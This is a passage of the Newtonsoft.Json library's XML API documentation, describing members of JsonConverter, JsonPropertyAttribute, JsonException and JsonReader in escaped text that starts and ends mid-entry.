whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanRead\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter`1\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,`0,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,`0,System.Boolean,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read. If there is no existing value then <c>null</c> will be used.</param>\n            <param name=\"hasExistingValue\">The existing value has a value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> when serializing the member or class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n            <param name=\"converterParameters\">Parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>. Can be <c>null</c>.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterCollection\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonDictionaryAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to deserialize properties with no matching class member into the specified collection\n            and write values during serialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.WriteData\">\n            <summary>\n            Gets or sets a value that indicates whether to write extension data when serializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to write extension data when serializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.ReadData\">\n            <summary>\n            Gets or sets a value that indicates whether to read extension data when deserializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to read extension data when deserializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonExtensionDataAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonIgnoreAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> not to serialize the public field or public read/write property value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonNameTable\">\n            <summary>\n            Base class for a table of atomized string objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonObjectAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MemberSerialization\">\n            <summary>\n            Gets or sets the member serialization.\n            </summary>\n            <value>The member serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified member serialization.\n            </summary>\n            <param name=\"memberSerialization\">The member serialization.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonPropertyAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member with the specified name.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NullValueHandling\">\n            <summary>\n            Gets or sets the null value handling used when serializing this property.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.DefaultValueHandling\">\n            <summary>\n            Gets or sets the default value handling used when serializing this property.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing this property.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the object creation handling used when deserializing this property.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.TypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing this property.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.IsReference\">\n            <summary>\n            Gets or sets whether this property's value is serialized as a reference.\n            </summary>\n            <value>Whether this property's value is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Required\">\n            <summary>\n            Gets or sets a value indicating whether this property is required.\n            </summary>\n            <value>\n            \tA value indicating whether this property is required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SkipAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously skips the children of the current token.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader.State\">\n            <summary>\n            Specifies the state of the reader.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Complete\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Property\">\n            <summary>\n            Reader is at a property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ObjectStart\">\n            <summary>\n            Reader is at the start of an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Object\">\n            <summary>\n            Reader is in an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ArrayStart\">\n            <summary>\n            Reader is at the start of an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Array\">\n            <summary>\n            Reader is in an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonReader.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.PostValue\">\n            <summary>\n            Reader has just read a value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ConstructorStart\">\n            <summary>\n            Reader is at the start of a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Constructor\">\n            <summary>\n            Reader is in a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Error\">\n            <summary>\n            An error occurred that prevents the read operation from continuing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Finished\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CurrentState\">\n            <summary>\n            Gets the current reader state.\n            </summary>\n            <value>The current reader state.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CloseInput\">\n            <summary>\n            Gets or sets a value indicating whether the source should be closed when this reader is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.SupportMultipleContent\">\n            <summary>\n            Gets or sets a value indicating whether multiple pieces of JSON content can\n            be read from a continuous stream without erroring.\n            </summary>\n            <value>\n            <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.\n            The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. \"\\/Date(1198908717056)\\/\" and \"2012-03-21T05:40Z\", are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateFormatString\">\n            <summary>\n            Gets or sets how custom date formatted strings are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum. \n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the source.\n            </summary>\n            <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of 